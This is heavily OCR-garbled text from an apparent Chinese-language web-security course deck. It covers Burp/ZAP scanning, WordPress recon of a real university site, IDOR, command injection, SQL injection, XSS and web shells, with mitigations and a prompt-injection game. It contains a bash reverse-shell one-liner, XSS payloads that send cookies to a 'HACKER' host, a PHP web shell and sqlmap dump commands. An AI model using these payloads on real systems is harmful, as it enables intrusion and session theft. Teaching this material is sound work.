SecurityCenter Plus -512 IP (BE)-0 Grd pa i

$727,998

Tenable Inc.

Tenable.ad 4835k B $2AR 75 58 20 2 (5 R S 400 - Hh I 30 B —FES TR R A= (300u)

1-20

$721,824

Tenable Inc.

tenable.ot THIERIZ £ EIE RS -H S TR RERR R (100u)

1-20

$1,137,173

Tenable Inc.

TIO-VM (Tenable.io Vulnerability Management)-256 IP (52£)

1-10

$374,508

Tenable Inc.

TIO-WAS (Tenable.io Web Application Scanning)- 5 wrl (5E)

1-100

$121,325
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« 1. /£ Dashboard E

Burp Suite Pro

Burp  Project lepeater  View  Help

Dashboard t Intruder Repeater

Tasks

5 Filter

1. Live passive crawl from Prouy (all traffic)

Add links. Add item itself, same domainand URLs in suite scope.

Capturing o

2. Live audit from Proxy (all traffic)

-P

Capturing c

NEEIE New scan

Burp Suite Professional v2023.12.1.5 - Temporary Project - licensed to StevenMeow

ogger Organizer

1. Live passive crawl from Proxy (all traffic)

Summary

[0 items added to site map

Host Method URL

No items to show

Items found in the crawl will dis

Extensions

Status Co... MIME Type

4 Task configuration

Task type: Live
Scope:

Configuration:  Add ||

Capturing o

(& Taskprogress

Site map items added:
Responses processed:

Responses queued:

(@ Tasklog
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Burp Suite Pro

» 2. £ Urls to scan Ei A ErRmAVEE - itfRFEXL)E Protocol

[ 4 New scan

Scan type

® Crawland audit

Crawl

URLs to scan

Define the URLs to scan. Burp will begin crawling from these URLs, and by default will include everything beneath the specified

http://127.0.0.1:8788/

Protocol settings

(®) Scanusing HTTP & HTTPS Scanusing my specified protecels

> Detailed scope configuration 171




Burp Suite Pro

Mew scan

@

Scan
configuration

2® Lightweight

sfs Balanced

member my ch

1plete withincne hour.
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Burp Suite Pro

* 4. Login type ARIRE - TR REENZHIA

4 MNew scan

Please choose a login type

Choose whether to configure login credentials or recerded login sequences. You can configure multiple legins to scan indifferent
user contexts.

(®) Use login credentials (username & password)

Mew ...
Application
legin
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Burp Suite Pro

» 5. Resource Pool ;RERIERE » o[{FAEESREXBITIEN

4 Mew scan

Resource pool

Specify the rescurce pocl inwhich the scanwill be run. Rescurce pools are used to manage the usage of system rescurces across
multiple tasks.

(®) Use existing resource pool

Selected  Resource pool Concurrent requests Request delay Random delay  Delayincrement

Default resource pool

C)
Resource
pool
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Burp Suite Pro

4 MNew scan

) Resource pool
¢ 6. g | O K 5 details specify the urce pool inwhich the scanwill be run. Resource e used to manage the usage of system resources ac

Concurrent requests Reguestdelay  Randomdelay  Delayincrement

Default resource pool

Resource
pool

W resource
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Burp Suite Pro
 FfFiEE (BT oE - BV

Burp Suite Professional v2023.12.1.5 - Temporary Project - licensed to StevenMeow

Help

Intruder Repeater

2. Live audit from Proxy (all traffic)

-P

Capturing c

3. Crawl and audit of 127.0.0.1:8788

Crawl and Audit -
——

wditing

ogger  Organizer

4 3. Crawl and audit of 127.0.0.1:8788

Summary Audit ite

Most serious vulnerabilities found (live)

D File upload fun
0 Input retur

Extensions

EKES O] 8

<) Task configuration

Task type:
Scope:

(& Taskprogress

Total audititems:

Audit items pending:

Audit items in progress:

Audit items completed:

(O Tasklog

diting
udit
dit

Unique locations:

Pending actions:

Current link depth:

Requests:
Network errof

Settings
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Burp Suite Pro

8. FhE
Issues

Report Issues for this host

Burp  Project  Intruder Repeater View Help

Dashboard Target Intruder

Site map Crawl paths (beta)

Issue definitions

10y Scope settings

% Filter: Hiding not found items; hiding CSS, image and general binary centent; hiding

¥ @ thl'l"I i

E.u
&b cmdi.ph

& idor.ph|

sqli.phy
& upload.

|'|H|::r Iistd

» httpe/f127.0.0.1:8788/

."-‘!. I:I I:I r O sSC0 F. &

Passively scan this host

Actively scanthis hos

Engagement tocls

Compare site maps

Expand branch

Expand requested items

Cellapse branch

Delete host

Copy URLs inthis host

Copy links in this host
save selected items

Issues

View

Show new site map window

Site map decumentation

Contents

Method

femdi.php
femdi.php?e
nldn r.php
ir.phptid=
4 r.php?id=
|'|HF 1H127.0 I-'l'I.E.-'EE lidor.php?id=

Request Response
Raw Hex

GET / HTTR/1.1

2 Host: 127,
Accept -Encoding:

4 Accept:
+avt fhtml mmemlaeatan
Report issues for this host
Delete issues for this host

o User- H.l:ln.-.'rl‘t i FMozil
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Burp Suite Pro
» 9. EFEHRIHE T

4 Burp Scanner reporting wizard

@ Choose the format:

(®) Generate report (HTML)

Export issue data (XML}

178



Burp Suite Pro
- 10. EEFRERE

4 Burp 5canner reporting wizard

t the file where the report will be saved.

Select file ... {homelkali/burp_report.html

Specify the title and structure to use in the report.

Report title Burp Scanner Report
Issue organization By type

Table of contents levels | 2

Summary table Allissues

Summary bar chart High, medium and low issues

Embed images within HTML (requires modern browser)
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Burp Suite Pro

- 11. BliSHR=

Burp Scanner Report Burp Suite

ium, Low, Information or
Firm or

Confidence
Certain Firm Tentative
High 7 0
Medium 1 0
Severity Low

Information

The chart ho aggregated nu of -ate dc th a confide el of Certain, and
th ]
Number of issues
|4 6
vigh
Severity Medium

Contents
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Burp Suite Pro
- 11. ENSHRES

1. OS command injection

Summary

Severity: High

Confidence:  Firm

H http://127.0.0.1:8788
Path: femdi.php

Issue detail

command injection att: le to he (I} to inject arbitr:

: ‘I lecho '3c5-11wd41w miykrqwpmp|la # |echo Ycsdzwd4 1w m'Byl'rqumpll'i #" lecho 9csdzwd41w m9ykrqwpmplla # 1
& 2 contain the output from the inje command, indicating that the command

command that
mmand tha

upon the

tion, there ar r alternative

dtop

a command
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B u rp S u i t e P ro Vulnerability classifications

- 11. BliSHR=

4 Om3y : wdd 1y Om9ykrqwpm
Om9ykrqwpm

i

bp.image/apng,*/*;q=0.8 applicati

KHTML, like ¢ hrome: 06167

> Chrome

family: Arial, sa

form {

idd 1w m3ykrqwpmp
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4 H 551% — Zap Proxy

R E




=

# ZapProxy

<

Pl |

« 1. 228% Docker TH

 sudo apt update

« sudo apt install docker.io

» sudo systemctl enable docker --now
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# ZapProxy
- 2. i1HY Docker BRIGHE

» sudo docker pull softwaresecurityproject/zap-stable

[:—(kaliﬁﬁkali]—:HfﬂpenUAS]
% sudo docker pull softwaresecurityproject/zap-stable

Using default tag: latest

latest: Pulling from softwaresecurityproject/zap-stable
Sd@aeceefiee: Already exists

5e8e71b37417: Extracting [ > ] 303.6MB/550.3MB
cc2f37367a2e: Download complete

3aec50304786: Download complete

51aa@eba57f9: Download complete

5231e757d6bl: Download complete

Lf4fb700ef54: Download complete

cda33c62214b: Download complete

3d598ad2e484: Download complete

Scdc2@c3cbe3d: Download complete

7f53dde9ced9: Download complete

3ffi45cb48f@d: Download complete

b7324fde35bb: Verifying Checksum

14@763593@fa: Download complete

c18dd96ae4@7: Download complete

ATATAa FAameE e o a . [ TR [N _———— 1 — a4 o
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# ZapProxy
- 3-1. 1REHT

- sudo docker run -v $(pwd):/zap/wrk/:rw --rm -it
docker.io/softwaresecurityproject/zap-stable:latest zap-baseline.py -t

http://172.17.0.1:8788 -r report.html

[j—(kaliiﬁkalij—[HIZap]
% sudo docker run -v S(pwd):/zap/wrk/:rw —rm -it docker.io/softwaresecurityproject/zap-stable:latest zap-baseline.py -t http://172.17.0.1:8788 -r zap-base.html -d
2024-03-08 10:36:05,445 Trigger hook: cli_opts, args: 1

2024-03-08 10:36:05,446 Using port: 41448

Using the Automation Framework
'api.disablekey=true

2024-03-08 18:36:05,452 Starting ZAP
2024-03-08 10:36:05,452 Params: ['/zap/zap-x.sh', '-cmd', "-port', '41448', '-host', '0.0.0.0', "-config', 'database.recoverylog=false', '-config’,
ig', "api.addrs.addr.regex=true', "-addonupdate’, '-addoninstall’', 'pscanrulesBeta’]
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« 3-2. 5T

ZapProxy

ST fr i

- sudo docker run -v $(pwd):/zap/wrk/:rw --rm -it

docker.io/softwaresecurityproject/zap-stable:latest zap-full-scan.py -t

[:—Ekaliﬁjkali]-:~/Zap]
$ sudo docker run -v

2024-03-
2024-03-
2024-03-
2024-03-
2024-03-

onfig',

2024-03-
2024-03-
2024-03-
2024-03-
2024-03-
2024-03-
2024-03-
2024-03-
2024-03-
2024-03-
2024-03-

08
08
08
08
08

'api.addrs.addr.

08
08
08
a8
08
08
28
08
a8
a8
08

18:31:36,397
1@8:31:36,398
18:31:36,398
1@8:31:36,398
10:31:36,399

1@:31:
1@:31:
1@:31:
1@:31:
18:31:
1@:31:
1@:31:
1@:31:
1@:31:
1@:31:
1l:31:

36,410
37,416
38,420
39,423
40,429
41,432
42,436
43,439
44,443
45,447
46,452

http://172.17.0.1:8788 -r zap-full.html -d

(pwd):/zap/wrk/:rw —-rm -it docker.io/softwaresecurityproject/zap-stable:latest zap-full-scan.py -t http://172.17.0.1:8788 -r zap-full.html -d

Trigger hook: cli_opts, args: 1
Using port: 68530

Trigger hook: start_zap, args: 2
Starting ZaP

Params: ['/zap/zap-x.sh",
regex=true', '-config',
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):
Starting new HTTP connection (1):

'-daemon’,

'-port’,
'spider.maxDuration=
localhost:
localhost:
localhost:
localhost:
localhost:
localhost:
localhost:
localhost:
localhost:
localhost:
localhost:

'60
0,
60530
60530
60530
60530
60530
60530
60530
60530
60530
60530
60530

53@", '-host’,
'-addonupdate”,

'9.2.0.8", '-config',
'-addoninstall', “pscanrulesBeta“,

'database.recoverylog=false’,
'-addoninstall’,

'-config’,
'ascanrulesBeta']

'api.disablekey=true’,

'-config’,

'api.addrs.addr.name=.*",
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ZapProxy

- 4. BlSHR=

_ — - ' ' ~r

¥  ZAP Scanning Report X+

C @ O file:///homefkali/Zap/zap-full.html

KaliLinux # KaliTools = KaliDocs ¥ Kali Forums ex Kali NetHunter Exploit-DB

W ZAP Scanning Report

Site: http://172.17.0.1:8788
Generated on Fri, 8 Mar 2024 10:33:59

ZAP Version: 2.14.0

Summary of Alerts

Risk Level Number of Alerts
High

8
6
7
8

Low
Informational
False Positives: 0

Alerts

Risk Lovel
Instances

Scripting (DOM Based) High 1
High 1
Path Trav High 1
lemote Code Execution - Shell Shock High 1
lemote OS Command Injection High 1
SQOL Injection - MySQL High 1

Absence of Anti-CSRF Tokens 10

Anti-CSRF Tokens Check 10

w ® 5 =

Google Hacking DB 2>

188



# ZapProxy — Baseline , Full Scan =B

W zAP Scanning Report

Site: http://172.17.0.1:8788
Generated on Fri, 8 Mar 2024 10:36:48

ZAP Version: 2.14.0

Summary of Alerts

Risk Level Number of Alerts
:

3

Low 7
e
0

False Positives:

Alerts
Instances

Absence of Anti-CSRF Tokens 10

Content Security Policy (CSP) Header Mot Set 1

Missing Anti-clickjacking Header 13

Cookie No HttpOnly Flag 1

Cookie without SameSite Attribute 1

In Page Banner Information Leak 2

Permissions Policy Header Mot Set

Server Leaks Information via "X-Powered-By" HTTP

W zAP Scanning Report

Site: http://172.17.0.1:8788
Generated on Fri, 8 Mar 2024 10:33:59

ZAP Version: 2.14.0

Summary of Alerts

Risk Level Number of Alerts
Low

Informational

False Positives:

6
6
7
8
0

Instances

Cross Site Seripting (DOM Based) High 1

Cross Site Seripting (Reflected) High 1

Path Traversal High 1
Remote Code Execution - Shell Shock High

Bemote OS Command Injection High

SQL Injection - MySQL High
Absence of Anti-CSBF Tokens
Anti-CSRF Tokens Check




Web Security




Web Recon

* https://www.fcu.edu.tw/robots.txt

e O 8 https:/fwww.fcu.edu.twjrobots.txt

User—-agent: x
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: https://www.fcu.edu.tw/wp-sitemap.xml
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Web ReCOn « T B ! dirsearch, gobuster ......

* https://www.fcu.edu.tw/wp-admin

o0 @ BAEFAR—WordPress X+ o

&« G U 8 nttps:/fwww.fcu.edu.tw/w = I vy @ O @ # " @ @B 5 <« @ < B moog] =

7 NG

N+ Feng Chia University

WACEE 7

— HItE (EFAE)
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Web Recon

[+] Headers

| Interesting Entries:

| - server: Apache/2.4.54 (Ubuntu)

| - access-control-allow-headers: origin, x-requested-with, content-type
| - access-control-allow-methods: PUT, GET, POST, DELETE, OPTIONS
|
I

Found By: Headers {Passive Detection)
Confidence: 100%

[+] robots.txt found: https://www.fcu.edu.tw/robots.txt
| Interesting Entries:
| - Swp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%

[+] WordPress version 5.8.6 identified (Insecure, released on 2022-10-17).
| Found By: Emoji Settings (Passive Detection)
| - https://www.fcu.edu.tw/, Match: 'wp-includes‘\/js\/wp-emoji-release.min.js?ver=5.8.6"
| Confirmed By: Meta Generator (Passive Detection)
| - https://www.fcu.edu.tw/, Match: 'WordPress 5.8.6'

[+] wordpress-popular-posts
Location: https://www.fcu.edu.tw/wp-content/plugins/wordpress-popular-posts/
Last Updated: 2023-05-20T14:20:00.000Z
[!'] The version is out of date, the latest version is 6.1.1

I
I
|
I
| Found By: Urls In Homepage (Passive Detection)

| Confirmed By: Urls In 404 Page (Passive Detection)
I

I

I

I

Version: 5.2.4 (80% confidence)
Found By: Readme - Stable Tag (Aggressive Detection)
- https://www.fcu.edu. tw/wp-content/plugins/wordpress-popular-posts/readme. txt
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- Web Application

FRONT-END

* Frontend
- BERIVERA (WEIRI\)
- HEIEREE
* HTML, JavaScript / CSS
* Backend
- BFZIRVERA (EEFHR#ELE)
- HiGRZBREE
* PHP, NodelS, ASP.NET ......

BACK-END

%= bluecoders
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t Web Application Backend

* PHP

e ASPX (.NET)

* Python

ASP.NET




EIDOR - Case 1

* Insecure direct object references

- B RIR AR

] e

M e g https://example.com/page.php?id=1
TEE https://example.com/page.php?id=2
lESIEIES https://example.com/page.php?id=3
WK K K https://example.com/page.php?id=4
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IDOR — Case 1

- B RIRAMERR

1=RE ALk

[ N https://example.com/page.php?id=1
x.EE https://example.com/page.php?id=2
WK K Rk https://example.com/page.php?id=4

W8 id=3 #E5FEmIE

197



EIDOR - Case 1

- B RIRAMERR

1=RE Ak

[ [ https://example.com/page.php?id=1

x.EE https://example.com/page.php?id=2

WK K Rk https://example.com/page.php?id=4
[(SiE MIEE &

1. 38 id=3 E— Wi SHE T ELE
2. f£ id=3 $Efﬁ$%}§i7f_ﬁi
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# IDOR —Case 1

- B RIRAMERR

] fa4E

[ [ https://example.com/page.php?id=1

1 E https://example.com/page.php?id=2

WK I Rk https://example.com/page.php?id=4
'fE—H_jE ......

id=3 KT | d=3 EEAIUEFEIES ! |

199



EIDOR — Case 2

3 ik HEE
i M https://example.com/page.php?id=1 FH
T EE https://example.com/page.php?id=2 Z
IEEIES https://example.com/page.php?id=3 Z
PRk I Pk https://example.com/page.php?id=4 FH
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IDOR — Case 2

AR

EFE] 811k WEE
i M https://example.com/page.php?id=1 FH
PR PRA Pk https://example.com/page.php?id=4 FA
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IDOR — Case 2

AR5

EFE] 811k WEE
T EE https://example.com/page.php?id=2 Z
IEIEES https://example.com/page.php?id=3 Z
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# IDOR — Case 2

AR5

EFE] 811k WEE
T EE https://example.com/page.php?id=2 Z
IEIEES https://example.com/page.php?id=3 Z

A2 DEIST) 2,3
B0 2 EHE8 AMBLEEART 1 30 4
@5t (IS ?
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IDOR - Lab

® AN X  + o
i
) 192168.48129/ %+
< C @ O & 192.168.48.129/idor.php & ey T 5 =
< C @ O & 192168.48.129 & oy T o= . ‘ . : : : :
KaliLinux # KaliTools « KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Google Hacking DB OffSec

Insecure direct object references

ommand Injection

SQL Injection

Cross Site Scripting

Cross Site Scripting - Easy

‘Web Shell Uploading
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# IDOR Summary

* Root Cause

- WEBEZEHRSMIAREE - L

- SEMFEEIRIE T FEY/ R AFAVESE

* Mitigation

AR FEHY AL

- BRMEANESE - HEGH - EFES
- TJiGHEIL id EERARRITSIN (@uuiD) &L &m= (IBIH/AEEERR)

Gith 1S

C

2R BER
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Pl |

# Injection

What is injection ?



.........

MR ETR
FrAEME
R

> 73
lﬁ?’ 'B\I:‘:{ ﬁ
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# Prompt Injection
FREZFMB L MEIDERRIIB I TIA

s > AR o PO — I HRAVENZ £ TR > &R - FIVHERN AR L& - THEEERBCREZRIS B
SN - WEBINESNL 2SI - AVBSEE RGN —RORIA T - AR E TS (SRR PGS AT AR A
245 - 2tk B KBRS AT  (ERM MR ERE T - RS T %A SEAS K E T
SIS © TSR  IFEPython - JavaRlICH+ » i FLEL VA AERES KSR A1, - 4ITCP/IP « HTTP/HTTPSLLE:
DNSZE o B4 » Bt BR B FEEEE 245 » BFELinux ~ WindowsHIMacOS - FJFACISSP ( Certified Information Systems Security
Professional ) NICEH ( Certified Ethical Hacker ) RyfeEl[%EE AT HYE RN 28 0d - BB AMEREIH T IAVEOITRE ) - R
WHE R L ETRAVEKHEBENG - JHEE - AREVE L RIS T e B 5 75 oK BaG - INIEL - BT ERS EI = B
&fF > DUEREMBVZ £t ER 5 HIE - FERtAERMNEFNE THBERZ £ - &E > e EREEEE - =
BIREz kB - 0 H P B BARr A TR 1R Y BRI 8 s E IR IR A =) o S RCRFREREEIAY B 2onrdd - BHHRF A1
S ELRA REN P E eI RE R IR IR A S0 ME - s DL ENES - BAEReHE A a5 10077 -
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# Prompt Injection

- MAERAERIMEx EFERLE(\V - H UM REBICEERE .
- SRR FEMALA N E R EEE 22 T izhmaiER
- IBREXE  BI87]) « B8] - TEFTKRIZEREZED (1~10093)
- <80 FRIERERE>
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Pl |

# Prompt Injection
{FRE2FRFIBLL NiED FERERY

=SFIT

it

&t - O - PoR— I HENEMZ 2 TR > #aEE T FAHEBN 228 - TESENSIREIISEILR

EHE A
ENIPA

LFH Acpe /L-glz J\ : Ijq
DNSZ5 - [ 1 70\ JUJ’ ’e’

Professiona ﬁ‘{fﬁ [ﬁlfgeﬁ-‘\:

HHEEZ
afE - Ll

B2 PkEY o T HARIET B A B il P Y S5 SE RS AL S8 BB AT S RAFIHY 2 5
o LR FL N A — S ST am R AN frl BE AR A B3 -

3%

i

Dﬁ:ﬁﬂi

I=k:S i

1 /4%10077 -

> BT BHF IR H B 4
LB 5 o] [ BERF o7 Al E B R 10057

A
(EEZ
HTTPSBL R,
1s Security
R
SFIERE
oL

> PR
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rompt Injection /)\3%Ek

eeoe [)nmam < [ )] & gandalf.lakera.ai G ¢ © M + O

‘W Leaderboard

#% Discuss Gandalf

* Lakera

2 Gandalf Adventures
& Reset Level

Your goal is to make Gandalf reveal the secret password for each
level. However, Gandalf will level up each time you guess the
password, and will try harder not to give it away. Can you beat
level 7? (There is a bonus level 8)

(LvL 1)

Ask me for the password and I'll happily answer!

https://gandalf.lakera.ai/ )11



https://gandalf.lakera.ai/

-

« UIR—1E

- WBHER

EELEEEENE
fEERBT LTSS DIRE
SRR EIN DR B RIET/IET\E

n;:
~J

<?php
if(isset($ GET['cmd'])){

}

system(

=

II'LS (1]

# Command Injection

RPN SRR

. $_GET['cmd']);

EXR
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Command Injection

List content

Directory:
L N
<?php
if(isset( ['emd'])){
system( "ls " . [‘emd']);
}
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Command Injection

Directory:

fvar && whoami && ifconfig

backups
cache
lib
local
lock
log
mail
Dp‘t
Tun
spool
tmp
Wi
www-data
eth@: flags=4163 mtu 1500
inet 172.18.8.3 netmask 255.255.9.@ broadcast 172.18.255.255
ether @2 112:00:93 txqueuelen @ (Ethernet)
RX packets 194 bytes 21138 (20.6 KiB)
RX errors @ dropped @ rTuns @ frame @
TX packets 171 bytes 2 27 (iB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73 mtu 65536
inet 127.9.9.1 netmask 255.90.8.@
loop txgueuelen 18@@ (Local Loopback)
RX packets 28 bytes 1729 (1.6 KiB)
RX errors @ dropped @ rIuns @ frame @
TX packets 28 bytes 1729 (1.6 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @
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Command Injection

- O] DLEE$E Reverse Shell IESEETTEEHY Shell JEE

List content

/ && whoami && bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'

Directory:

[devitcp/172.31.200.4/6969 0>&1'

L$ nc -nlvp 8787

listening on [any] 8787 ...
connect to [192.168.48.128] from (UNKNOWN) [192.168.48.129] 46114

victimgvictimserver:~$% whoami
whoami

victim

victimgvictimserver:~$ hostname
hostname

victimserver
victimavictimserver:~$ |
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Command Injection - Lab

 SHELE I R 7@@:?%57 /flag fEERE

O DO 127.0.0.1:8788/cmdi.php?cmd=" & By w

List content

Directory:
/
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# Command Injection Summary

» Root Cause
o RIEER TEESHE, SERAERMANANBRREERED
- FEFLRIHIESEIT RCE (Remote Code Execution)
« Mitigation
.« FETEREMA System command
- NR—FEFER, EHERSE Command Injection AJBEMIFIT
« NEREEAEAEZERNRA
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E SQL Basic

* SELECT column_name FROM table_name WHERE condition

pet_age

id name age
1 monkey 3

2 cat 8

3 dog 7

4 meow 9487
5 bird 4

6 fish 3

7 pig 5
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E SQL Basic

* SELECT column_name FROM pet_age WHERE condition

pet_age

id name age
1 monkey 3

2 cat 8

3 dog 7

4 meow 9487
5 bird 4

6 fish 3

7 pig 5
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SQL Basic

 SELECT name FROM pet_age WHERE condition

pet_age

id name age
1 monkey 3

2 cat 8

3 dog 7

4 meow 9487
5 bird 4

6 fish 3

7 pig 5
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E SQL Basic

 SELECT name FROM pet_age WHERE condition

pet_age

name

monkey

cat

dog

meow
bird
fish

pig
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E SQL Basic

* SELECT name FROM pet_age WHERE age>5

pet_age

name

cat

dog

meow
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SQL Injection

» SELECT name FROM pet_age WHERE age>5 (Sl

pet_age

name

monkey

cat

dog

meow
bird
fish

pig
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SQL Injection

» SELECT name FROM pet_age WHERE age>5 G

pet_age

name

monkey

cat

dog

meow
bird
fish

pig
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SQL Injection

* SELECT name FROM pet_age WHERE -

pet_age

name

monkey

cat

dog

meow
bird
fish

pig

225



E SQL Basic

* SELECT name FROM pet_age WHERE age>9999

pet_age

226



SQL Basic

meow

227



SQL Basic

5.5.52-MariaDB
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SQL Basic

* SELECT name FROM pet_age WHERE age>9999

usertable
id user password
1 admin P@SSwOrD!

p) user lloveCatl123!
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Pl |

e sqlmap —u #31lt
- 5lE8
o SIZEFRIE: -dbs
- SIERERIFR: -D <dbname> --tables
- EBERERER

e -D <dbname> -T <tablename> --dump

# SQL Injection - BE{ELTE: SQLMap

L—( kali® kali)-[~]
% sqlmap -u "http://192.168.48.129/sqli.php?age=1' —technique U -D data --tables

—H__
I | () I | }
I_ 4 . ['] L I
| I 1 O I Y I
I_Iv.. I_| https://sqlmap.org

[!] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consen
o liability and are not responsible for any misuse or damage caused by this program

[*] starting @ ©9:22:02 /2024-05-08/
[09:22:03] [INFO] resuming back-end DBMS 'mysgl'’

[#9:22:03] [INFO] testing connection to the target URL
sglmap resumed the following injection point(s) from stored session:
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SQL Injection - Lab

« i8I\ E I usertable HR admin {FRERBYZRIE

000 +9 Pet Age Query X +

&« G O D 127.00.1:8788/sqliphp & BF w vy @ me & B S

Pet Age Query

Please enter the age of pets to display those whose age is greater than that:

Age:
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# SQL Summary

* Root Cause
- RIEERFERABRHIANFESREE saL 290 - {F0] saL 5IZEEBOIEEESE
- R S BIEEEIAY UNION SELECT Z%} » 3|8 Error Based, Blind Based ... Fi&
* SQL Injection t(RJBERIFIEERALFTFIE - EE RCE (RimfETHIT)
* Mitigation
- MEEEABGFHER
« {EFFH Prepared Statement
- {E5F Object Relational Mapping (ORM)

- {EFFH WAF (Web Application Firewall)
- EERSRKES
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# XSS

* Cross-Site Scripting

- BB UM JavaScript 381G

- EIREEAE
ﬁuaﬂmﬁy Cookie » ﬁﬁzﬁjfiﬁ/u\,u\ jJﬁb

« O\ EfF

iHEE0H

S AR T

ll_l\ll_a\ ElJ

{5 =G

Il\‘
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E XSS

- YR {EAE T LA HI#Euh_CAY HTML
- BIIO]2\i&E 88 A LL N8B EER T Cookie

 <script>alert(document.cookie)</script>

r |
© 127.0.0.1:8788

PHPSESSID=63650511bcd11d0c2c73bfacb9bal6fc
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# XSS

Pl |

- WIR{EAHB Y LUEHI#EuL /Y HTML
- WEZE M OILHFERLI M e %8E cookie?

 <script>fetch("http://HACKER:8787/?"+document.cookie)</script>

* But... CORS
Status = Meth...  Domain File Initiator Type Transferred Size
GET #4 172.31.200.6 xss.php?message=<script>fetch(*http://172.31.. document html 1.18 KB 5 (0
(N GET  f417231.200.4:8... [?PHPSESSID=57da18642ccdcd487165ec9e80c xss.php:85 (fet... CORS Failed 0B

© Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at
http://172.31.200.4:8000/PHPSESSID=abe@eed3e3f9db08359b472c fe356865. (Reason: CORS request did not succeed). Status
code: (null). [Learn More].

© Uncaught (in promise) TypeError: NetworkError when attempting to fetch resource.
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XSS

Y Filter

HTTP

Guides

» Resources and URIs
» HTTP guide

» HTTP security
HTTP access control (CORS)

HTTP authentication
HTTP caching

HTTP compression

HTTP conditional requests
HTTP content negotiation

HTTP cookies

IEHIFEIRFA (CORS)

BHREIRILA (Cross-Origin Resource Sharing (CORS)) 2—fE{EMAERSM HTTP R5R< BRATRIEEIEN
EAENE (en-us) SFEREMRIRE (481) ERISEERERNEE - EEAEREFER—ERZER
XERF—HIMRERAEEE (domain) ~ BEREZE (protocol) EEIE (port) MHEIRRF > EEYL
—(E#ERE HTTP R (cross-origin HTTP request) -

BEBKIRFERNHIF : http://domain-a.com HTML BEHAEHE—E <imo> ZHE) src B (en-us)BAK
B http://domain-b.com/image.jpg MIE R - IRSHERE P2 REFIMANSER > 41 CSS RAER - BRF
1%~ URIESHE (script) #RERMEAE D BENMAE - MADEEREE (content delivery networks,
CDN) -

ERTEMEE > BABFARLABRIR HTTP FHREZRIPRE  FI140 » xuLHttpRequest B Fetch #BESF
[ELREE (same-origin policy) - ERXFRMAREATEXFR{ERN API BRIEER CORS 588 » FRIREEER
EAFERR BRI HTTP &R -
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# XSS

ANR{ERABZ T LT 6L /Y HTML
- WEEWMOILUFERLI M5 %8B cookie

e <script>document.write('<img

src="http://HACKER:8000/'+document.cookie+'">')</script>

[:—(kaliijkali]—:ftmpfﬂad]
% nc -nlvp 8088

listening on [any] B00@

connect to [192.168.48.128] from (UNKNOWN) [192.168.48.128] 54944

GET /PHPSESSID=dd7f@710370ff85fef112e5350b31128 HTTP/1.1

Host: 192.168.48.128:8000

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,#*/*

Accept-Language: en-Us,en;g=0.5 Status Method Domain File

Accept-Encoding: gzip, deflate

ONT: 1 GET 192.168.48.129 x¥ss.php?username=userB&password=passB
Connection: keep-alive 484 GET £ 192.168.48.129 favicon.ico

Referer: http://192.168.48.129/
S GET 192.168.48.128:8000 PHPSESSID=dd7f0T10370ff85fea112e5350b31128
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XSS - Lab

- SNEFAILZRIRE (Private Window) EAFEHE A
- FREERES AERE B
- (FFE A IDEINESR

- 5\

FaHVEEFHE B BY Session Cookie

i
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# XSS Summary

* Root Cause
- B FIIRIEZE Render (FEEBFG-FHYVER A
- EEEIE R TR EHRY JavaScript

* Mitigation
- BN ERAB L PRVE A FBEZIoE TS
« ¥1h% HTML / JavaScript IREE SE{THRIS (HTML Entity Encode)
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# Web Shell

- BBEHERFEVE Shell BYTT T\
- {BTHZBPIIET
L PHP 6 - OILUERFERE—ITIETVEFLINL Web Shell

» <?php system(S_GET[1]); ?>
- {618 | —TEEAE

Hd
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- Web Shell Upload

- UIR—EiF I CIBIEEESE
- OB E{E—{E Web Shell BIZEZEHTORVER

< —- C A view-source:http://127.0.0.1:8788/uploads/s.php?1=Is -alh |

1 total 4.0K

2 drwxr-xr-x 3 www—-data www—-data 96 Jun 15 12:52 .

3 drwxr=xr-x 9 root root 288 Jun 15 11:55 ..

4 -rw-r——r—-— 1 www-data www-data 27 Jun 15 12:52 s.php
o)
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Web Shell Upload Lab

& C O [ 127.0.0.1:8788/upload.php

File Upload

Select file to upload:

RIE... KREFEER-

Upload file
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# Web Shell Upload Summary

* Root Cause

- FEE=N - RBEEMEEATEITR!

* Mitigation
- HIIEEEIER  EERNT « LEBEETR



Post Exploitation




Post exploitation

RECONNAISSANCE

- EHY
- FREVEERGERYBURESE
- 51\ B 3R KR E ik
. (ST 1=
- TEOFSE]

Coupling exploit with backdoor
into deliverable payload

Delivering weaponized bundle to the
victim via email, web, USB, etc.

|l
|

COMMAND & CONTROL (CZ2)

ACTIONS ON DBJECTIVES

With ‘Hands on Keyboard’ access,
intruders accomplish their original goals

pL
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- BREERE

# Privilege Escalation

- RERESHRETLUFIA

- ERHEEE

- EREANNE FRENESE 5RE - IRBE

o R
- (3R

- IZT\ WA

L]

EI\axsT AR (UIRIER EOL HIATILASES

- IENEZET AR (WIREIR EoL HIGET ASEEFARR)

BRTEER)

246



E Linux 12:2%E3F;
S L] - |
?ﬁ%iﬁf’ %EMB

- '

user@lb85e61e261f:/tmp (0.0842s)
whoami

user

user@lb85eb6le261f:/tmp (0.834s5)
hostname

1b85e61e261f

user@lb85eb6le261f:/tmp (0.841s)
ifconfig

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 65535
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether ©2:42:ac:11:00:02 txqueuelen @ (Ethernet)
RX packets 5380 bytes 42570192 (42.5 MB)
RX errors @ dropped @ overruns @ frame @
TX packets 3215 bytes 229238 (229.2 KB)
TX errors @ dropped 0 overruns @ carrier @ collisions @

lo: flags=73<UP,LO0PBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets ©® bytes @ (0.0 B)
